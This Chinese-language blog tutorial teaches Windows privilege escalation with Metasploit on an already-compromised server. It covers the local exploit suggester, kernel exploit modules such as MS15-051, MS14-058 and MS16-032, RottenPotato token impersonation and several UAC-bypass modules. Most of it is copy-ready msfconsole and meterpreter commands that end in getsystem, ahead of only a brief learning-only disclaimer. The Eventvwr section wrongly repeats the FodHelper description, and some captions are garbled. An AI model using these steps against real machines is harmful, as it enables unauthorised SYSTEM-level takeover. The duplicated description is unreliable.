Metasploit 提權篇

在這裏插入圖片描述
聲明:文中所涉及的技術、思路和工具僅供以安全爲目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!

內核漏洞提權

本文將介紹有關Windows內核漏洞提權的方法。我將使用內置的Metasploit模塊作爲演示。通過本文的學習,你將瞭解系統的哪些部分可被利用,並匹配最佳可利用模塊進一步的提升權限。

本地溢出提權首先要有服務器的一個普通用戶權限,攻擊者通常會向服務器上傳本地溢出程序,在服務器端執行,如果系統存在漏洞,那麼將溢出Administrator權限。以下是不同系統提權的漏洞和相應的補丁。

假設我們現在已經獲得了一個 Windows 服務器的普通用戶權限,現在我們要利用內核漏洞提權至最高權限。我們要先查看系統補丁:

enum_patches模塊

可先利用enum_patches模塊 收集補丁信息,列出可能存在的漏洞,然後查找可用的exploits進行提權

meterpreter > run post/windows/gather/enum_patches     #查看補丁信息

img
發現不少可利用的補丁漏洞,我們用ms13_053_schlamperei

msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

img

Windows-Exploit-suggester

**Metasploit內置模塊提供了各種可用於提權的windows local exploits,並會基於架構,平臺(即運行的操作系統),會話類型和所需默認選項提供建議。**這極大的節省了我們的時間,省去了我們手動搜索local exploits的麻煩。雖說如此,但也並非所有列出的local exploits都可用。所以,無論是漏洞利用還是查找最好的辦法就是自動結合手動。

**注:**要使用local exploit suggester,我們必須已在目標機器上獲取到了一個Meterpreter session。在運行Local Exploit suggester之前,我們需要將現有的Meterpreter session調到後臺運行(background)

示例,假設我們現在有一個Meterpreter session 1

> background
> use post/multi/recon/local_exploit_suggester 
> set LHOST 192.168.1.107 
> set SESSION 1
> exploit

如下圖所示,它自動的爲我們匹配出了一些可能的用於易受攻擊目標提權的漏洞利用模塊
在這裏插入圖片描述
如圖所示我們可以使用exploit/windows/local/bypassuac_fodhelper模塊:

use exploit/windows/local/bypassuac_fodhelper
set SESSION 2
set LHOST 39.xx1.21x.xx0
run

得到會話meterpreter後執行getsystem即可成功繞過uac提權成功
在這裏插入圖片描述

Windows ClientCopyImage Win32k Exploit(MS15-051)

Windows內核模式驅動程序特權提升漏洞。此模塊利用了win32k.sys內核模式驅動程序中的不正確對象處理進行提權。

該模塊已在Windows 7 x64和x86,Windows 2008 R2 SP1 x64的易受攻擊版本上進行了測試。

讓我們轉到MSF控制檯並執行該漏洞的exploit模塊

> use exploit/windows/local/ms15_051_client_copy_image 
> set lhost 192.168.1.107 
> set lport 2333
> set session 1 
> exploit

一旦exploit成功執行,就會打開另一個Meterpreter session

> getsystem 
> getuid

可以看到,我們當前的用戶權限已提升爲了NT AUTHORITY\SYSTEM
Windowså†æ ¸æ¼æ´žåˆ©ç”¨ææƒæ•™ç¨‹

Windows TrackPopupMenu Win32k NULL指針解引用(ms14_058)

此模塊利用了win32k.sys中的NULL指針解引用,漏洞可通過TrackPopupMenu函數進行觸發。在特殊情況下,我們可以濫用在xxxSendMessageTimeout上的NULL指針解引用,來實現任意代碼執行操作。

該模塊已在Windows XP SP3Windows Server 2003 SP2Windows 7 SP1 Windows Server 2008 32位Windows Server 2008 R2 SP1 64位上進行了測試。

讓我們轉到MSF控制檯並執行該漏洞的exploit模塊

> use exploit/windows/local/ms14_058_track_popup_menu 
> set lhost 192.168.1.107 
> set session 1 
> exploit

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem 
getuid

可以看到,我們當前的用戶權限已提升爲了NT AUTHORITY\SYSTEM
Windows內核漏洞利用提權教程

通過 KiTrap0D 提升 Windows 權限(ms10_015)

此模塊將通過KiTrap0D exploit創建具有SYSTEM權限的新會話,如果當前使用的會話權限已提升,則exploit將不會運行。該模塊依賴於kitrap0d.x86.dll,因此 在x64版本的Windows上不受支持

該模塊已在32位Windows Server 2003Windows Server 2008Windows 7XP易受攻擊版本上進行了測試。

讓我們轉到MSF控制檯並執行該漏洞的exploit模塊

> use exploit/windows/local/ms10_015_kitrap0d 
> set lhost 192.168.1.107 
> set session 1 
> exploit

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem 
getuid

可以看到,我們當前的用戶權限已提升爲了NT AUTHORITY\SYSTEM
Windows內核漏洞利用提權教程

Task Scheduler XML提權(ms10_092)

如果攻擊者登錄到受影響的系統,並運行特製應用程序,則該漏洞可能允許特權提升。攻擊者必須擁有有效的登錄憑據,並且能夠在本地登錄才能成功利用此漏洞。遠程或匿名用戶則無法利用此漏洞。

該模塊已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻擊版本上進行了測試。

讓我們轉到MSF控制檯並執行該漏洞的exploit模塊

> use exploit/windows/local/ms10_092_schelevator set lhost 192.168.1.107 set session 1 
> exploit

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem 
getuid

可以看到,我們當前的用戶權限已提升爲了NT AUTHORITY\SYSTEM

MS16-016 mrxdav.sys WebDav本地提權(ms16_016)

該模塊已在Windows 7 SP1,x86架構的易受攻擊版本上進行了測試。

讓我們轉到MSF控制檯並執行該漏洞的exploit模塊

use exploit/windows/local/ms16_016_webdav set lhost 192.168.1.107 set session 1 exploit

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem 
getuid

可以看到,我們當前的用戶權限已提升爲了NT AUTHORITY\SYSTEM
Windows內核漏洞利用提權教程

EPATHOBJ::pprFlattenRec本地提權

此模塊利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要問題出在使用了未初始化的數據(即允許損壞內存)。

目前,該模塊已在Windows XP SP3Windows 2003 SP1Windows 7 SP1上成功進行了測試。

讓我們轉到MSF控制檯並執行該漏洞的exploit模塊

use exploit/windows/local/ppr_flatten_rec set lhost 192.168.1.107 set session 1 exploit

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem 
getuid

可以看到,我們當前的用戶權限已提升爲了NT AUTHORITY\SYSTEM
Windows內核漏洞利用提權教程

MS13-053 : NTUserMessageCall Win32k內核池溢出(ms13_053)

Win32k中的內核池溢出漏洞,可允許本地用戶提權。內核shellcode使winlogon.exe進程的ACL爲NULL(SYSTEM進程)。這將允許任何非特權進程自由遷移到winlogon.exe,從而提升用戶權限。注意:退出meterpreter會話時,可能會導致winlogon.exe崩潰。
目前,該模塊已在Windows 7 SP1 x86上成功測試。

讓我們轉到MSF控制檯並執行該漏洞的exploit模塊

use exploit/windows/local/ms13_053_ schlamperei set lhost 192.168.1.107 set session 1 exploit

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem 
getuid

可以看到,我們當前的用戶權限已提升爲了NT AUTHORITY\SYSTEM
Windows內核漏洞利用提權教程

MS16-032 Secondary Logon Handle提權(ms16_032)

此模塊利用了Windows Secondary Logon Service中缺少標準句柄過濾的問題。該漏洞主要影響Windows 7-10和2k8-2k12 32/64位版本。此模塊僅適用於具有Powershell 2.0或更高版本的Windows系統,以及具有至少兩個或以上CPU內核的系統。

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set session 1 exploit

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem 
getuid

可以看到,我們當前的用戶權限已提升爲了**NT AUTHORITY\SYSTEM
Windows內核漏洞利用提權教程

RottenPotato將服務帳戶本地提權至SYSTEM

使用RottenPotato將服務帳戶本地提權至SYSTEM。

首先,我們在meterpreter會話中使用以下選項查看當前系統上是否存在任何有效tokens。

load incognito 
list_token -u

可以看到,當前並沒有任何SYSTEM權限的token可用。
Windows內核漏洞利用提權教程
現在,我們從github下載Rottenpotato。

git clone https://github.com/foxglovesec/RottenPotato.git 
cd RottenPotato

下載完成後我們會在Rottenpotato目錄下,看到一個rottenpotato.exe文件。

將該文件上傳至受害者機器。

upload /root/Desktop/RottenPotato/rottenpotato.exe .

Windows內核漏洞利用提權教程
然後,鍵入以下命令執行該exe文件,並將SYSTEM token添加到impersonate user tokens下。

execute -Hc -f rottenpotato.exe 
impersonate_token "NT AUTHORITY\\SYSTEM"

可以看到,我們當前的用戶權限已提升爲了NT AUTHORITY\SYSTEM
Windows內核漏洞利用提權教程

使用Metasploit繞過UAC的多種方法

用戶帳戶控制(簡稱UAC)是微軟公司在其Windows Vista,及更高版本操作系統中採用的一種控制機制。通過本文你將瞭解它是如何保護你免受惡意軟件侵害的,以及忽略UAC提示將可能給你係統帶來的麻煩。

UAC簡介

什麼是用戶帳戶控制?

UAC是在Windows Vista及更高版本操作系統中採用的一種控制機制,它以預見的方式阻止不必要的系統範圍更改

換句話說,它是Windows的一項安全功能,支持你 阻止任何對系統未經授權的更改操作行爲 。UAC確保僅在管理員授權的情況下進行某些更改。如果管理員不允許更改,則不會執行這些更改,並且Windows也不會發生任何的改變。

UAC是如何運作的?

一旦程序執行涉及系統更改/特定任務就會觸發UAC。除非嘗試執行它們的進程以管理員權限運行,否則這些操作都將被阻止。沒有管理員權限將無法執行以下操作:

註冊表修改(如果註冊表項位於如HKEY_LOCAL_MACHINE下(因爲它影響多個用戶),它將是隻讀的)

加載設備驅動程序

DLL注入

修改系統時間(clock)

修改用戶帳戶控制設置(通過註冊表可以啓用/禁用它,但你需要正確的權限才能執行該操作)

修改受保護的目錄(例如Windows文件夾,Program Files)

計劃任務(例如,以管理員權限自啓動)

注:UAC的作用並不是幫你阻止惡意軟件或識別程序是否爲惡意程序,這主要取決於用戶。如果用戶以管理員權限執行程序,UAC將提醒用戶並要求用戶提供確認。

幾種繞過UAC的方法

exploit/windows/local/ask
exploit/windows/local/bypassuac(bypassuac進程注入)
exploit/windows/local/bypassuac_injection(bypassuac_injection內存注入)
exploit/windows/local/bypassuac_fodhelper(通過FodHelper註冊表項)
exploit/windows/local/bypassuac_eventvwr(通過Eventvwr註冊表項)
exploit/windows/local/bypassuac_comhijack(COM處理程序劫持)
exploit/windows/local/bypassuac_vbs

首先,假設我們已獲取目標系統的meterpreter shell,並得到了一個meterpreter session 1。然後,我們鍵入以下命令提權並查看權限。

getsystem    # 未提權成功
getuid

如果你並未取得system/admin權限,那你就要想辦法繞過目標系統的UAC保護。

exploit/windows/local/ask模塊繞過(最好用的一個)

使用 exploit/windows/local/ask 模塊,需要使用 EXE::Custom 選項創建一個可執行文件(需要免殺),目標機器會運行一個發起提升權限請求的程序,提示用戶是否要繼續運行,如果用戶選擇繼續運行程序,就會返回一個高權限的shell。

使用該模塊的前提:

  • 當前用戶必須在管理員組中 或 知道管理員的密碼,對UAC的設置則沒有要求。
  • 用戶需要手動點擊彈出的程序,是

img
img
再執行getsystem,這樣就得到目標機的system權限。

Windows提權UAC保護繞過(bypassuac進程注入)

該模塊將通過進程注入,利用受信任的發佈者證書繞過Windows UAC。 它將爲我們生成另一個關閉UAC的shell(session 2)。

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權並查看權限。

getsystem
getuid

可以看到我們已將權限提升爲了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。
使用Metasploit绕过UAC的多种方法

Windows提權UAC保護繞過(bypassuac_injection內存注入)

該模塊將通過進程注入,利用受信任的發佈者證書繞過Windows UAC。 它將爲我們生成另一個關閉UAC的shell(session 2)。**該模塊將直接運行在內存中的反射DLL中,由於它並不觸碰硬盤,因此可以最大限度地降低被安全檢測的概率。**但該模塊的使用需要選擇正確的架構(對於SYSWOW64系統也是使用x64)。

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權並查看權限。

getsystem
getuid

可以看到我們已將權限提升爲了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。
使用Metasploit繞過UAC的多種方法

Windows提權UAC保護繞過(通過FodHelper註冊表項)

該模塊通過在當前用戶配置單元下劫持註冊表中的特殊鍵,並插入將在啓動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC 它將爲我們生成另一個關閉UAC的shell。雖然該模塊修改了註冊表,但它會在調用payload後清除該鍵。相比之前的模塊該模塊對架構系統並無特別要求。

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權並查看權限。

getsystem
getuid

可以看到我們已將權限提升爲了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。
使用Metasploit繞過UAC的多種方法

Windows提權UAC保護繞過(通過Eventvwr註冊表項)

**該模塊通過在當前用戶配置單元下劫持註冊表中的特殊鍵,並插入將在啓動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC。**它將爲我們生成另一個關閉UAC的shell。雖然該模塊修改了註冊表,但它會在調用payload後清除該鍵。相比之前的模塊,該模塊對架構系統並無特別要求。

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權並查看權限。

getsystem
getuid

可以看到我們已將權限提升爲了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。
使用Metasploit绕过UAC的多种方法

Windows提權UAC保護繞過(COM處理程序劫持)

**此模塊將通過在HKCU配置單元中,創建COM處理程序註冊表項來繞過Windows UAC。**當加載某些高完整性進程時將會引用這些註冊表項,從而導致進程加載用戶控制的DLL。這些DLL中包含了可提升權限的payload。在調用payload後該模塊將會清除該鍵。該模塊的使用需要選擇正確的架構,但在當前低權限的Meterpreter session下架構可以不同。該模塊需要通過目標系統上的cmd.exe來調用目標二進制文件,因此如果限制cmd.exe訪問,則此模塊將無法正常運行。

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權並查看權限。

getsystem
getuid

可以看到我們已將權限提升爲了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。
使用Metasploit繞過UAC的多種方法
還有exploit/windows/local/bypassuac_vbs 等模塊。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章